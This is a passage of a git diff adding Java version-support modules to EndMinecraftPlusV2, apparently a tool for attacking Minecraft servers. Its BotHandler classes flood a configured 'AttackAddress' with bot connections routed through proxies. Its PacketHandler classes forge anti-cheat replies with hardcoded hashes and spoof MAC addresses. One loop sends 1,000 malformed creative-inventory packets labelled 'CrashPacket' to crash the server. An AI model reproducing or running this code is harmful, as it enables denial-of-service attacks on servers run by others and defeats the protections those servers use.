double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return msg.style().clickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return convertComponentToPlainText(msg);
|
||||
}
|
||||
|
||||
public static String convertComponentToPlainText(Component component) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (component instanceof TextComponent) {
|
||||
sb.append(((TextComponent) component).content());
|
||||
} else if (component instanceof TranslatableComponent) {
|
||||
TranslatableComponent translatable = (TranslatableComponent) component;
|
||||
List<Component> args = translatable.args();
|
||||
// 将参数转换为纯文本
|
||||
List<String> argsText = args.stream()
|
||||
.map(PacketHandler::convertComponentToPlainText)
|
||||
.collect(Collectors.toList());
|
||||
// 附加子参数
|
||||
if (argsText.size() >= 2) {
|
||||
sb.append("[").append(argsText.get(0)).append("] ").append(argsText.get(1));
|
||||
// 如果有更多的参数,你可能需要根据实际情况处理
|
||||
}
|
||||
}
|
||||
// 处理子组件
|
||||
List<Component> children = component.children();
|
||||
for (Component child : children) {
|
||||
sb.append(convertComponentToPlainText(child));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Component msg = (Component) message;
|
||||
for (Component extra : msg.children()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return Objects.requireNonNull(msg.style().clickEvent()).value();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return !msg.children().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ClientPluginMessagePacket clientPluginMessagePacket = new ClientPluginMessagePacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ClientSettingsPacket clientSettingsPacket = new ClientSettingsPacket(locale, 8, ChatVisibility.FULL, true, Arrays.asList(SkinPart.values()), HandPreference.LEFT_HAND, true);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ClientPlayerChangeHeldItemPacket clientPlayerChangeHeldItemPacket = new ClientPlayerChangeHeldItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ClientPlayerPositionRotationPacket clientPlayerPositionRotationPacket = new ClientPlayerPositionRotationPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ClientPlayerMovementPacket clientPlayerMovementPacket = new ClientPlayerMovementPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ClientKeepAlivePacket packet = new ClientKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
23
VersionSupport-P1_18_X/VersionSupport-P1_18_X.iml
Normal file
23
VersionSupport-P1_18_X/VersionSupport-P1_18_X.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MCP-1.18.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,225 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_18_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.metadata.ItemStack;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.inventory.ServerboundSetCreativeModeSlotPacket;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.packet.Packet;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
ProxyInfo proxyInfo = new ProxyInfo(getProxyType(ConfigUtil.ProxyType), proxy.address());
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), proxyInfo);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
|
||||
}
|
||||
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
client.disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表] 选定的协议库版本无法启用Forge支持。", "BotAttack");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.connect(true);
|
||||
|
||||
OtherUtils.doSleep(2000);
|
||||
LogUtil.doLog(0, "[DEBUG] 尝试发送CrashPacket...", "BotAttack");
|
||||
for (int i = 0; i < 1000; i++) {
|
||||
ItemStack itemStack = new ItemStack(233, -1);
|
||||
ServerboundSetCreativeModeSlotPacket serverboundSetCreativeModeSlotPacket = new ServerboundSetCreativeModeSlotPacket(0, itemStack);
|
||||
client.send(serverboundSetCreativeModeSlotPacket);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setReadTimeout(Math.toIntExact(timeout));
|
||||
c.setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
|
||||
private static ProxyInfo.Type getProxyType(int type) {
|
||||
ProxyInfo.Type proxyType;
|
||||
switch (type) {
|
||||
case 3:
|
||||
proxyType = ProxyInfo.Type.SOCKS5;
|
||||
break;
|
||||
case 2:
|
||||
proxyType = ProxyInfo.Type.SOCKS4;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = ProxyInfo.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
return proxyType;
|
||||
}
|
||||
}
|
@ -0,0 +1,277 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_18_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.github.steveice10.mc.protocol.data.game.ClientCommand;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.player.HandPreference;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundCustomPayloadPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundPlayerPositionPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundSetHealthPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.*;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerPosRotPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerStatusOnlyPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundSetCarriedItemPacket;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.TextComponent;
|
||||
import net.kyori.adventure.text.TranslatableComponent;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ClientboundCustomPayloadPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundCustomPayloadPacket packet = (ClientboundCustomPayloadPacket) recvPacket;
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ClientboundLoginPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ClientboundPlayerPositionPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ClientboundChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundChatPacket chatPacket = (ClientboundChatPacket) recvPacket;
|
||||
Component message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ClientboundKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundKeepAlivePacket serverKeepAlivePacket = (ClientboundKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ClientboundSetHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundSetHealthPacket serverPlayerHealthPacket = (ClientboundSetHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundChatPacket chatPacket = new ServerboundChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundCommandSuggestionPacket clientTabCompletePacket = new ServerboundCommandSuggestionPacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ClientboundChatPacket chatPacket = (ClientboundChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return msg.style().clickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return convertComponentToPlainText(msg);
|
||||
}
|
||||
|
||||
public static String convertComponentToPlainText(Component component) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (component instanceof TextComponent) {
|
||||
sb.append(((TextComponent) component).content());
|
||||
} else if (component instanceof TranslatableComponent) {
|
||||
TranslatableComponent translatable = (TranslatableComponent) component;
|
||||
List<Component> args = translatable.args();
|
||||
// 将参数转换为纯文本
|
||||
List<String> argsText = args.stream()
|
||||
.map(PacketHandler::convertComponentToPlainText)
|
||||
.collect(Collectors.toList());
|
||||
// 附加子参数
|
||||
if (argsText.size() >= 2) {
|
||||
sb.append("[").append(argsText.get(0)).append("] ").append(argsText.get(1));
|
||||
// 如果有更多的参数,你可能需要根据实际情况处理
|
||||
}
|
||||
}
|
||||
// 处理子组件
|
||||
List<Component> children = component.children();
|
||||
for (Component child : children) {
|
||||
sb.append(convertComponentToPlainText(child));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Component msg = (Component) message;
|
||||
for (Component extra : msg.children()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return Objects.requireNonNull(msg.style().clickEvent()).value();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return !msg.children().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ServerboundCustomPayloadPacket clientPluginMessagePacket = new ServerboundCustomPayloadPacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ServerboundClientInformationPacket clientSettingsPacket = new ServerboundClientInformationPacket(locale, 8, ChatVisibility.FULL, true, Arrays.asList(SkinPart.values()), HandPreference.LEFT_HAND, true, true);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ServerboundSetCarriedItemPacket clientPlayerChangeHeldItemPacket = new ServerboundSetCarriedItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ServerboundMovePlayerPosRotPacket clientPlayerPositionRotationPacket = new ServerboundMovePlayerPosRotPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ServerboundMovePlayerStatusOnlyPacket clientPlayerMovementPacket = new ServerboundMovePlayerStatusOnlyPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ServerboundKeepAlivePacket packet = new ServerboundKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ServerboundClientCommandPacket clientRequestPacket = new ServerboundClientCommandPacket(ClientCommand.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
23
VersionSupport-P1_19/VersionSupport-P1_19.iml
Normal file
23
VersionSupport-P1_19/VersionSupport-P1_19.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MCP-1.19.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,214 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.packet.Packet;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
ProxyInfo proxyInfo = new ProxyInfo(getProxyType(ConfigUtil.ProxyType), proxy.address());
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), proxyInfo);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
